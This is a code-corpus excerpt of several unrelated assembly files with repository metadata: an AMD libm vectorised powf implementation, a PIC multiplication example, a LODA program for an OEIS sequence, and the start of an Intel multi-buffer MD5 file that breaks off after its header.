; A vector implementation of the powf libm function.
;
; Prototype:
;
; __m128 __vrs4_powf(__m128 x,__m128 y);
; float fastpowf(float x, float y);
;
; Computes x raised to the y power. Returns proper C99 values.
; Uses new tuned fastlogf/fastexpf.
;
;
include fm.inc
FN_PROTOTYPE vrs4_powf
fname_exp TEXTEQU <__amd_internal_vrd4_exp>
fname_log TEXTEQU <__amd_internal_vrd4_log>
EXTRN fname_exp:NEAR
EXTRN fname_log:NEAR
CONST SEGMENT
__np_ln_table:
dq 0000000000000000h ; 0
dq 3F8FC0A8B0FC03E4h ;0.015504186535965254
dq 3F9F829B0E783300h ;0.030771658666753687
dq 3FA77458F632DCFCh ;0.045809536031294201
dq 3FAF0A30C01162A6h ; 0.06062462181643484
dq 3FB341D7961BD1D1h ;0.075223421237587532
dq 3FB6F0D28AE56B4Ch ;0.089612158689687138
dq 3FBA926D3A4AD563h ; 0.10379679368164356
dq 3FBE27076E2AF2E6h ; 0.11778303565638346
dq 3FC0D77E7CD08E59h ; 0.13157635778871926
dq 3FC29552F81FF523h ; 0.14518200984449789
dq 3FC44D2B6CCB7D1Eh ; 0.15860503017663857
dq 3FC5FF3070A793D4h ; 0.17185025692665923
dq 3FC7AB890210D909h ; 0.18492233849401199
dq 3FC9525A9CF456B4h ; 0.19782574332991987
dq 3FCAF3C94E80BFF3h ; 0.21056476910734964
dq 3FCC8FF7C79A9A22h ; 0.22314355131420976
dq 3FCE27076E2AF2E6h ; 0.23556607131276691
dq 3FCFB9186D5E3E2Bh ; 0.24783616390458127
dq 3FD0A324E27390E3h ; 0.25995752443692605
dq 3FD1675CABABA60Eh ; 0.27193371548364176
dq 3FD22941FBCF7966h ; 0.28376817313064462
dq 3FD2E8E2BAE11D31h ; 0.2954642128938359
dq 3FD3A64C556945EAh ; 0.30702503529491187
dq 3FD4618BC21C5EC2h ; 0.31845373111853459
dq 3FD51AAD872DF82Dh ; 0.32975328637246798
dq 3FD5D1BDBF5809CAh ; 0.34092658697059319
dq 3FD686C81E9B14AFh ; 0.3519764231571782
dq 3FD739D7F6BBD007h ; 0.36290549368936847
dq 3FD7EAF83B82AFC3h ; 0.37371640979358406
dq 3FD89A3386C1425Bh ; 0.38441169891033206
dq 3FD947941C2116FBh ; 0.39499380824086899
dq 3FD9F323ECBF984Ch ; 0.40546510810816438
dq 3FDA9CEC9A9A084Ah ; 0.41582789514371099
dq 3FDB44F77BCC8F63h ; 0.42608439531090009
dq 3FDBEB4D9DA71B7Ch ; 0.43623676677491807
dq 3FDC8FF7C79A9A22h ; 0.44628710262841953
dq 3FDD32FE7E00EBD5h ; 0.45623743348158757
dq 3FDDD46A04C1C4A1h ; 0.46608972992459924
dq 3FDE744261D68788h ; 0.47584590486996392
dq 3FDF128F5FAF06EDh ; 0.48550781578170082
dq 3FDFAF588F78F31Fh ; 0.49507726679785152
dq 3FE02552A5A5D0FFh ; 0.50455601075239531
dq 3FE0723E5C1CDF40h ; 0.51394575110223428
dq 3FE0BE72E4252A83h ; 0.52324814376454787
dq 3FE109F39E2D4C97h ; 0.53246479886947184
dq 3FE154C3D2F4D5EAh ; 0.54159728243274441
dq 3FE19EE6B467C96Fh ; 0.5506471179526623
dq 3FE1E85F5E7040D0h ; 0.55961578793542266
dq 3FE23130D7BEBF43h ; 0.56850473535266877
dq 3FE2795E1289B11Bh ; 0.57731536503482361
dq 3FE2C0E9ED448E8Ch ; 0.58604904500357824
dq 3FE307D7334F10BEh ; 0.59470710774669278
dq 3FE34E289D9CE1D3h ; 0.60329085143808425
dq 3FE393E0D3562A1Ah ; 0.61180154110599294
dq 3FE3D9026A7156FBh ; 0.62024040975185757
dq 3FE41D8FE84672AEh ; 0.62860865942237409
dq 3FE4618BC21C5EC2h ; 0.63690746223706918
dq 3FE4A4F85DB03EBBh ; 0.6451379613735847
dq 3FE4E7D811B75BB1h ; 0.65330127201274568
dq 3FE52A2D265BC5ABh ; 0.66139848224536502
dq 3FE56BF9D5B3F399h ; 0.66943065394262924
dq 3FE5AD404C359F2Dh ; 0.67739882359180614
dq 3FE5EE02A9241675h ; 0.68530400309891937
dq 3FE62E42FEFA39EFh ; 0.69314718055994529
dq 0 ; for alignment
__two_to_jby32_table label qword
DQ 03FF0000000000000h ; 1
DQ 03FF059B0D3158574h ; 1.0219
DQ 03FF0B5586CF9890Fh ; 1.04427
DQ 03FF11301D0125B51h ; 1.06714
DQ 03FF172B83C7D517Bh ; 1.09051
DQ 03FF1D4873168B9AAh ; 1.11439
DQ 03FF2387A6E756238h ; 1.13879
DQ 03FF29E9DF51FDEE1h ; 1.16372
DQ 03FF306FE0A31B715h ; 1.18921
DQ 03FF371A7373AA9CBh ; 1.21525
DQ 03FF3DEA64C123422h ; 1.24186
DQ 03FF44E086061892Dh ; 1.26905
DQ 03FF4BFDAD5362A27h ; 1.29684
DQ 03FF5342B569D4F82h ; 1.32524
DQ 03FF5AB07DD485429h ; 1.35426
DQ 03FF6247EB03A5585h ; 1.38391
DQ 03FF6A09E667F3BCDh ; 1.41421
DQ 03FF71F75E8EC5F74h ; 1.44518
DQ 03FF7A11473EB0187h ; 1.47683
DQ 03FF82589994CCE13h ; 1.50916
DQ 03FF8ACE5422AA0DBh ; 1.54221
DQ 03FF93737B0CDC5E5h ; 1.57598
DQ 03FF9C49182A3F090h ; 1.61049
DQ 03FFA5503B23E255Dh ; 1.64576
DQ 03FFAE89F995AD3ADh ; 1.68179
DQ 03FFB7F76F2FB5E47h ; 1.71862
DQ 03FFC199BDD85529Ch ; 1.75625
DQ 03FFCB720DCEF9069h ; 1.79471
DQ 03FFD5818DCFBA487h ; 1.83401
DQ 03FFDFC97337B9B5Fh ; 1.87417
DQ 03FFEA4AFA2A490DAh ; 1.91521
DQ 03FFF50765B6E4540h ; 1.95714
__real_3f80000000000000 DQ 03f80000000000000h ; /* 0.0078125 = 1/128 */
dq 0
__real_3FA5555555545D4E DQ 03FA5555555545D4Eh ; 4.16666666662260795726e-02 used in splitexp
dq 0
__real_3FC5555555548F7C DQ 03FC5555555548F7Ch ; 1.66666666665260878863e-01 used in splitexp
dq 0
__real_one DQ 03ff0000000000000h ; 1.0
dq 0 ; for alignment
__real_two DQ 04000000000000000h ; 1.0
dq 0
__real_ca1 DQ 03fb55555555554e6h ; 8.33333333333317923934e-02
dq 0 ; for alignment
__real_ca2 DQ 03f89999999bac6d4h ; 1.25000000037717509602e-02
dq 0 ; for alignment
; from Maple:
;Digits :=40;
;minimax(2*ln(1+v/2), v=0..1/256, 7,1 ,'maxerror');
__real_cb1 DQ 03fb555555555552ch ; 0.08333333333333275459088388736767942281572 from maple
dq 0 ; for alignment
__real_cb2 DQ 03F8999998EAB53DBh ; 0.01249999968187325554473232707489405493533
dq 0 ; for alignment
__real_log2 DQ 03FE62E42FEFA39EFh ; log2_lead 6.9314718055994530941723e-01
dq 0 ; for alignment
__real_half DQ 03fe0000000000000h ; 1/2
dq 0 ; for alignment
__real_infinity DQ 07ff0000000000000h ;
dq 0 ; for alignment
__real_thirtytwo_by_log2 DQ 040471547652b82feh ; thirtytwo_by_log2
dq 0
__real_log2_by_32 DQ 03F962E42FEFA39EFh ; log2_by_32
dq 0
__mask_sign DQ 08000000080000000h ; a sign bit mask
dq 08000000080000000h
__mask_nsign DQ 07FFFFFFF7FFFFFFFh ; a not sign bit mask
dq 07FFFFFFF7FFFFFFFh
; used by inty
__mask_127 DQ 00000007F0000007Fh ; EXPBIAS_SP32
dq 00000007F0000007Fh
__mask_mant DQ 0007FFFFF007FFFFFh ; mantissa bit mask
dq 0007FFFFF007FFFFFh
__mask_1 DQ 00000000100000001h ; 1
dq 00000000100000001h
__mask_2 DQ 00000000200000002h ; 2
dq 00000000200000002h
__mask_24 DQ 00000001800000018h ; 24
dq 00000001800000018h
__mask_23 DQ 00000001700000017h ; 23
dq 00000001700000017h
; used by special case checking
__float_one DQ 03f8000003f800000h ; one
dq 03f8000003f800000h
__mask_inf DQ 07f8000007F800000h ; inifinity
dq 07f8000007F800000h
__mask_ninf DQ 0ff800000fF800000h ; -inifinity
dq 0ff800000fF800000h
__mask_NaN DQ 07fC000007FC00000h ; NaN
dq 07fC000007FC00000h
__mask_sigbit DQ 00040000000400000h ; QNaN bit
dq 00040000000400000h
__mask_impbit DQ 00080000000800000h ; implicit bit
dq 00080000000800000h
__mask_ly DQ 04f0000004f000000h ; large y
dq 04f0000004f000000h
CONST ENDS
; define local variable storage offsets
p_temp equ 00h ; xmmword
p_negateres equ 10h ; qword
p_xexp equ 20h ; qword
save_rbx equ 030h ;qword
save_rsi equ 038h ;qword
p_xptr equ 040h ; ptr to x values
p_yptr equ 048h ; ptr to y values
p_ax equ 050h ; absolute x
p_sx equ 060h ; sign of x's
p_ay equ 070h ; absolute y
p_yexp equ 080h ; unbiased exponent of y
p_inty equ 090h ; integer y indicators
stack_size equ 0A8h ; allocate 40h more than
; we need to avoid bank conflicts
TEXT SEGMENT page 'CODE'
PUBLIC fname
fname proc frame
sub rsp,stack_size
.ALLOCSTACK stack_size
; movd edx,xmm0 ; edx is ux
mov QWORD PTR [rsp+save_rbx],rbx ; save rbx
.SAVEREG rbx, save_rbx
mov QWORD PTR [rsp+save_rsi],rsi ; save rsi
.SAVEREG rsi, save_rsi
.ENDPROLOG
movups xmm0, XMMWORD PTR [rcx]
movups xmm1, XMMWORD PTR [rdx]
mov QWORD PTR p_xptr[rsp],rcx ; save pointer to x
mov QWORD PTR p_yptr[rsp],rdx ; save pointer to y
movaps xmm2,xmm0
andps xmm0,XMMWORD PTR __mask_nsign ; get abs x
andps xmm2,XMMWORD PTR __mask_sign ; mask for the sign bits
movaps XMMWORD PTR p_ax[rsp],xmm0 ; save them
movaps XMMWORD PTR p_sx[rsp],xmm2 ; save them
; convert all four x's to double
cvtps2pd xmm0,QWORD PTR p_ax[rsp]
cvtps2pd xmm1,QWORD PTR p_ax+8[rsp]
;
; classify y
; vector 32 bit integer method 25 cycles to here
; /* See whether y is an integer.
; inty = 0 means not an integer.
; inty = 1 means odd integer.
; inty = 2 means even integer.
; */
movdqa xmm4,XMMWORD PTR [rdx]
pxor xmm3,xmm3
pand xmm4,XMMWORD PTR __mask_nsign ; get abs y in integer format
movdqa XMMWORD PTR p_ay[rsp],xmm4 ; save it
; see if the number is less than 1.0
psrld xmm4,23 ;>> EXPSHIFTBITS_SP32
psubd xmm4,XMMWORD PTR __mask_127 ; yexp, unbiased exponent
movdqa XMMWORD PTR p_yexp[rsp],xmm4 ; save it
paddd xmm4,XMMWORD PTR __mask_1 ; yexp+1
pcmpgtd xmm4,xmm3 ; 0 if exp less than 126 (2^0) (y < 1.0), else FFs
; xmm4 is ffs if abs(y) >=1.0, else 0
; see if the mantissa has fractional bits
;build mask for mantissa
movdqa xmm2,XMMWORD PTR __mask_23
psubd xmm2,XMMWORD PTR p_yexp[rsp] ; 24-yexp
pmaxsw xmm2,xmm3 ; no shift counts less than 0
movdqa XMMWORD PTR p_temp[rsp],xmm2 ; save the shift counts
; create mask for all four values
; SSE can't individual shifts so have to do each one seperately
mov rcx,QWORD PTR p_temp[rsp]
mov rbx,1
shl ebx,cl ;1 << (24 - yexp)
shr rcx,32
mov eax,1
shl eax,cl ;1 << (24 - yexp)
shl rax,32
add rbx,rax
mov QWORD PTR p_temp+[rsp],rbx
mov rcx,QWORD PTR p_temp+8[rsp]
mov rbx,1
shl ebx,cl ;1 << (24 - yexp)
shr rcx,32
mov eax,1
shl eax,cl ;1 << (24 - yexp)
shl rax,32
add rax,rbx
mov QWORD PTR p_temp+8[rsp],rax
movdqa xmm5,XMMWORD PTR p_temp[rsp]
psubd xmm5,XMMWORD PTR __mask_1 ;= mask = (1 << (24 - yexp)) - 1
; now use the mask to see if there are any fractional bits
movdqa xmm2,XMMWORD PTR [rdx] ; get uy
pand xmm2,xmm5 ; uy & mask
pcmpeqd xmm2,xmm3 ; 0 if not zero (y has fractional mantissa bits), else FFs
pand xmm2,xmm4 ; either 0s or ff
; xmm2 now accounts for y< 1.0 or y>=1.0 and y has fractional mantissa bits,
; it has the value 0 if we know it's non-integer or ff if integer.
; now see if it's even or odd.
; if yexp > 24, then it has to be even
movdqa xmm4,XMMWORD PTR __mask_24
psubd xmm4,XMMWORD PTR p_yexp[rsp] ; 24-yexp
paddd xmm5,XMMWORD PTR __mask_1 ; mask+1 = least significant integer bit
pcmpgtd xmm4,xmm3 ; if 0, then must be even, else ff's
pand xmm5,xmm4 ; set the integer bit mask to zero if yexp>24
paddd xmm4,XMMWORD PTR __mask_2
por xmm4,XMMWORD PTR __mask_2
pand xmm4,xmm2 ; result can be 0, 2, or 3
; now for integer numbers, see if odd or even
pand xmm5,XMMWORD PTR __mask_mant ; mask out exponent bits
movdqa xmm2,XMMWORD PTR __float_one
pand xmm5,XMMWORD PTR [rdx] ; & uy -> even or odd
pcmpeqd xmm2,XMMWORD PTR p_ay[rsp] ; is ay equal to 1, ff's if so, then it's odd
pand xmm2,XMMWORD PTR __mask_nsign ; strip the sign bit so the gt comparison works.
por xmm5,xmm2
pcmpgtd xmm5,xmm3 ; if odd then ff's, else 0's for even
paddd xmm5,XMMWORD PTR __mask_2 ; gives us 2 for even, 1 for odd
pand xmm4,xmm5
movdqa XMMWORD PTR p_inty[rsp],xmm4 ; save inty
;
; do more x special case checking
;
movdqa xmm5,xmm4
pcmpeqd xmm5,xmm3 ; is not an integer? ff's if so
pand xmm5,XMMWORD PTR __mask_NaN ; these values will be NaNs, if x<0
movdqa xmm2,xmm4
pcmpeqd xmm2,XMMWORD PTR __mask_1 ; is it odd? ff's if so
pand xmm2,XMMWORD PTR __mask_sign ; these values will get their sign bit set
por xmm5,xmm2
pcmpeqd xmm3,XMMWORD PTR p_sx[rsp] ; if the signs are set
pandn xmm3,xmm5 ; then negateres gets the values as shown below
movdqa XMMWORD PTR p_negateres[rsp],xmm3 ; save negateres
; /* p_negateres now means the following.
; 7FC00000 means x<0, y not an integer, return NaN.
; 80000000 means x<0, y is odd integer, so set the sign bit.
; 0 means even integer, and/or x>=0.
; */
; **** Here starts the main calculations ****
; The algorithm used is x**y = exp(y*log(x))
; Extra precision is required in intermediate steps to meet the 1ulp requirement
;
; log(x) calculation
call fname_log ; get the double precision log value
; for all four x's
; y* logx
; convert all four y's to double
mov rdx,QWORD PTR p_yptr[rsp] ; get pointer to y
cvtps2pd xmm2,QWORD PTR [rdx]
cvtps2pd xmm3,QWORD PTR 8[rdx]
; /* just multiply by y */
mulpd xmm0,xmm2
mulpd xmm1,xmm3
; /* The following code computes r = exp(w) */
call fname_exp ; get the double exp value
; for all four y*log(x)'s
;
; convert all four results to double
cvtpd2ps xmm0,xmm0
cvtpd2ps xmm1,xmm1
movlhps xmm0,xmm1
; perform special case and error checking on input values
; special case checking is done first in the scalar version since
; it allows for early fast returns. But for vectors, we consider them
; to be rare, so early returns are not necessary. So we first compute
; the x**y values, and then check for special cases.
; we do some of the checking in reverse order of the scalar version.
mov rdx,QWORD PTR p_yptr[rsp] ; get pointer to y
; apply the negate result flags
orps xmm0,XMMWORD PTR p_negateres[rsp] ; get negateres
; if y is infinite or so large that the result would overflow or underflow
movdqa xmm4,XMMWORD PTR p_ay[rsp]
cmpps xmm4,XMMWORD PTR __mask_ly,5 ; y not less than large value, ffs if so.
movmskps edx,xmm4
test edx,0fh
jnz y_large
rnsx3:
; if x is infinite
movdqa xmm4,XMMWORD PTR p_ax[rsp]
cmpps xmm4,XMMWORD PTR __mask_inf,0 ; equal to infinity, ffs if so.
movmskps edx,xmm4
test edx,0fh
jnz x_infinite
rnsx1:
; if x is zero
xorps xmm4,xmm4
cmpps xmm4,XMMWORD PTR p_ax[rsp],0 ; equal to zero, ffs if so.
movmskps edx,xmm4
test edx,0fh
jnz x_zero
rnsx2:
; if y is NAN
mov rdx,QWORD PTR p_yptr[rsp] ; get pointer to y
movdqa xmm4,XMMWORD PTR [rdx] ; get y
cmpps xmm4,xmm4,4 ; a compare not equal of y to itself should
; be false, unless y is a NaN. ff's if NaN.
movmskps ecx,xmm4
test ecx,0fh
jnz y_NaN
rnsx4:
; if x is NAN
mov rdx,QWORD PTR p_xptr[rsp] ; get pointer to x
movdqa xmm4,XMMWORD PTR [rdx] ; get x
cmpps xmm4,xmm4,4 ; a compare not equal of x to itself should
; be false, unless x is a NaN. ff's if NaN.
movmskps ecx,xmm4
test ecx,0fh
jnz x_NaN
rnsx5:
; if |y| == 0 then return 1
movdqa xmm3,XMMWORD PTR __float_one ; one
xorps xmm2,xmm2
cmpps xmm2,XMMWORD PTR p_ay[rsp],4 ; not equal to 0.0?, ffs if not equal.
andps xmm0,xmm2 ; keep the others
andnps xmm2,xmm3 ; mask for ones
orps xmm0,xmm2
; if x == +1, return +1 for all x
mov rdx,QWORD PTR p_xptr[rsp] ; get pointer to y
movdqa xmm2,xmm3
cmpps xmm2,XMMWORD PTR [rdx],4 ; not equal to +1.0?, ffs if not equal.
andps xmm0,xmm2 ; keep the others
andnps xmm2,xmm3 ; mask for ones
orps xmm0,xmm2
__powf_cleanup2:
mov rbx,[rsp+save_rbx] ; restore rbx
mov rsi,[rsp+save_rsi] ; restore rsi
add rsp,stack_size
ret
align 16
; /* y is a NaN.
y_nan:
mov rdx,QWORD PTR p_yptr[rsp] ; get pointer to y
movdqa xmm4,XMMWORD PTR [rdx] ; get y
movdqa xmm3,xmm4
movdqa xmm5,xmm4
movdqa xmm2,XMMWORD PTR __mask_sigbit ; get the signalling bits
cmpps xmm4,xmm4,0 ; a compare equal of y to itself should
; be true, unless y is a NaN. 0's if NaN.
cmpps xmm3,xmm3,4 ; compare not equal, ff's if NaN.
andps xmm0,xmm4 ; keep the other results
andps xmm2,xmm3 ; get just the right signalling bits
andps xmm3,xmm5 ; mask for the NaNs
orps xmm3,xmm2 ; convert to QNaNs
orps xmm0,xmm3 ; combine
jmp rnsx4
; /* y is a NaN.
x_nan:
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
movdqa xmm4,XMMWORD PTR [rcx] ; get x
movdqa xmm3,xmm4
movdqa xmm5,xmm4
movdqa xmm2,XMMWORD PTR __mask_sigbit ; get the signalling bits
cmpps xmm4,xmm4,0 ; a compare equal of x to itself should
; be true, unless x is a NaN. 0's if NaN.
cmpps xmm3,xmm3,4 ; compare not equal, ff's if NaN.
andps xmm0,xmm4 ; keep the other results
andps xmm2,xmm3 ; get just the right signalling bits
andps xmm3,xmm5 ; mask for the NaNs
orps xmm3,xmm2 ; convert to QNaNs
orps xmm0,xmm3 ; combine
jmp rnsx5
; /* y is infinite or so large that the result would
; overflow or underflow.
y_large:
movdqa XMMWORD PTR p_temp[rsp],xmm0
test edx,1
jz ylrga
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR [rcx]
mov ebx,DWORD PTR [rbx]
mov ecx,DWORD PTR p_inty[rsp]
sub rsp,8
call np_special6 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp[rsp],eax
ylrga:
test edx,2
jz ylrgb
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 4[rcx]
mov ebx,DWORD PTR 4[rbx]
mov ecx,DWORD PTR p_inty+4[rsp]
sub rsp,8
call np_special6 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+4[rsp],eax
ylrgb:
test edx,4
jz ylrgc
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 8[rcx]
mov ebx,DWORD PTR 8[rbx]
mov ecx,DWORD PTR p_inty+8[rsp]
sub rsp,8
call np_special6 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+8[rsp],eax
ylrgc:
test edx,8
jz ylrgd
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 12[rcx]
mov ebx,DWORD PTR 12[rbx]
mov ecx,DWORD PTR p_inty+12[rsp]
sub rsp,8
call np_special6 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+12[rsp],eax
ylrgd:
movdqa xmm0,XMMWORD PTR p_temp[rsp]
jmp rnsx3
; a subroutine to treat an individual x,y pair when y is large or infinity
; assumes x in eax, y in ebx.
; returns result in eax
np_special6:
; handle |x|==1 cases first
mov r8d,07FFFFFFFh
and r8d,eax
cmp r8d,03f800000h ; jump if |x| !=1
jnz nps6
mov eax,03f800000h ; return 1 for all |x|==1
jmp npx64
; cases where |x| !=1
nps6:
mov ecx,07f800000h
xor eax,eax ; assume 0 return
test ebx,080000000h
jnz nps62 ; jump if y negative
; y = +inf
cmp r8d,03f800000h
cmovg eax,ecx ; return inf if |x| < 1
jmp npx64
nps62:
; y = -inf
cmp r8d,03f800000h
cmovl eax,ecx ; return inf if |x| < 1
jmp npx64
npx64:
ret
; handle cases where x is +/- infinity. edx is the mask
align 16
x_infinite:
movdqa XMMWORD PTR p_temp[rsp],xmm0
test edx,1
jz xinfa
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR [rcx]
mov ebx,DWORD PTR [rbx]
mov ecx,DWORD PTR p_inty[rsp]
sub rsp,8
call np_special_x1 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp[rsp],eax
xinfa:
test edx,2
jz xinfb
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 4[rcx]
mov ebx,DWORD PTR 4[rbx]
mov ecx,DWORD PTR p_inty+4[rsp]
sub rsp,8
call np_special_x1 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+4[rsp],eax
xinfb:
test edx,4
jz xinfc
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 8[rcx]
mov ebx,DWORD PTR 8[rbx]
mov ecx,DWORD PTR p_inty+8[rsp]
sub rsp,8
call np_special_x1 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+8[rsp],eax
xinfc:
test edx,8
jz xinfd
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 12[rcx]
mov ebx,DWORD PTR 12[rbx]
mov ecx,DWORD PTR p_inty+12[rsp]
sub rsp,8
call np_special_x1 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+12[rsp],eax
xinfd:
movdqa xmm0,XMMWORD PTR p_temp[rsp]
jmp rnsx1
; a subroutine to treat an individual x,y pair when x is +/-infinity
; assumes x in eax,y in ebx, inty in ecx.
; returns result in eax
np_special_x1: ; x is infinite
test eax,080000000h ; is x positive
jnz nsx11 ; jump if not
test ebx,080000000h ; is y positive
jz nsx13 ; just return if so
xor eax,eax ; else return 0
jmp nsx13
nsx11:
cmp ecx,1 ; if inty ==1
jnz nsx12 ; jump if not
test ebx,080000000h ; is y positive
jz nsx13 ; just return if so
mov eax,080000000h ; else return -0
jmp nsx13
nsx12: ; inty <>1
and eax,07FFFFFFFh ; return -x (|x|) if y<0
test ebx,080000000h ; is y positive
jz nsx13 ;
xor eax,eax ; return 0 if y >=0
nsx13:
ret
; handle cases where x is +/- zero. edx is the mask of x,y pairs with |x|=0
align 16
x_zero:
movdqa XMMWORD PTR p_temp[rsp],xmm0
test edx,1
jz xzera
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR [rcx]
mov ebx,DWORD PTR [rbx]
mov ecx,DWORD PTR p_inty[rsp]
sub rsp,8
call np_special_x2 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp[rsp],eax
xzera:
test edx,2
jz xzerb
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 4[rcx]
mov ebx,DWORD PTR 4[rbx]
mov ecx,DWORD PTR p_inty+4[rsp]
sub rsp,8
call np_special_x2 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+4[rsp],eax
xzerb:
test edx,4
jz xzerc
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 8[rcx]
mov ebx,DWORD PTR 8[rbx]
mov ecx,DWORD PTR p_inty+8[rsp]
sub rsp,8
call np_special_x2 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+8[rsp],eax
xzerc:
test edx,8
jz xzerd
mov rcx,QWORD PTR p_xptr[rsp] ; get pointer to x
mov rbx,QWORD PTR p_yptr[rsp] ; get pointer to y
mov eax,DWORD PTR 12[rcx]
mov ebx,DWORD PTR 12[rbx]
mov ecx,DWORD PTR p_inty+12[rsp]
sub rsp,8
call np_special_x2 ; call the handler for one value
add rsp,8
mov DWORD PTR p_temp+12[rsp],eax
xzerd:
movdqa xmm0,XMMWORD PTR p_temp[rsp]
jmp rnsx2
; a subroutine to treat an individual x,y pair when x is +/-0
; assumes x in eax,y in ebx, inty in ecx.
; returns result in eax
align 16
np_special_x2:
cmp ecx,1 ; if inty ==1
jz nsx21 ; jump if so
; handle cases of x=+/-0, y not integer
xor eax,eax
mov ecx,07f800000h
test ebx,080000000h ; is ypos
cmovnz eax,ecx
jmp nsx23
; y is an integer
nsx21:
xor r8d,r8d
mov ecx,07f800000h
test ebx,080000000h ; is ypos
cmovnz r8d,ecx ; set to infinity if not
and eax,080000000h ; pickup the sign of x
or eax,r8d ; and include it in the result
nsx23:
ret
fname endp
TEXT ENDS
END
| 31.444862 | 92 | 0.707169 |
[
"BSD-3-Clause"
] |
HollowMan6/aocl-libm-ose
|
src/isa/avx/masm/vrs4_powf.asm
| 25,093 |
Assembly
|
;------------------------------;
; NAIVE MULTIPLICATION FOR PIC ;
; ;
; Por: Prof. Carlo Requiao ;
; 12/Ago/2020 ;
;------------------------------;
list p = 16f877a ; Specify processor
include <p16f877a.inc> ; Include mapping
org 0x00 ; Program starts at 0x00
goto INICIO
cnt equ 0x20
base equ 0x21
dest equ 0x22
INICIO: banksel 0x00 ; Select Bank #0
movlw 0x05 ; cnt = 5
movwf cnt
movlw 0x03 ; base = 3
movwf base
clrf dest ; dest = 0
LOOP: movf base,0 ; dest += base
addwf dest,1
decfsz cnt
goto LOOP
END
| 19.548387 | 42 | 0.523102 |
[
"MIT"
] |
StxGuy/EmbeddedSystems
|
PIC/naive_multiplication.asm
| 606 |
Assembly
|
; A082301: G.f.: (1 - 4*x - sqrt(16*x^2 - 12*x + 1))/(2*x).
; Submitted by Jon Maiga
; 1,5,30,205,1530,12130,100380,857405,7503330,66931030,606337380,5563370130,51594699780,482860844580,4554484964280,43252833007005,413224841606130,3968768817574030,38297678538914580,371128975862945030,3610211853939130380,35240404882122308380,345076376796827558280,3388743570614597713330,33366352091233330185780,329332687724477966004380,3257893453357654029851880,32295608681355099824683780,320767834077599960887147080,3191696543473126116638030280,31811502797507156864916800880
mov $1,1
mov $2,1
mov $3,$0
mov $4,2
lpb $3
add $0,1
mul $1,$3
mul $1,$0
mul $2,4
sub $3,1
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
| 34.428571 | 474 | 0.780083 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/082/A082301.asm
| 723 |
Assembly
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "md5_mb_mgr_datastruct.asm"
%include "reg_sizes.asm"
default rel
; clobbers all XMM registers
; clobbers all GPRs except arg1 and r8
;; code to compute octal MD5 using SSE
; transpose r0, r1, r2, r3, t0, t1
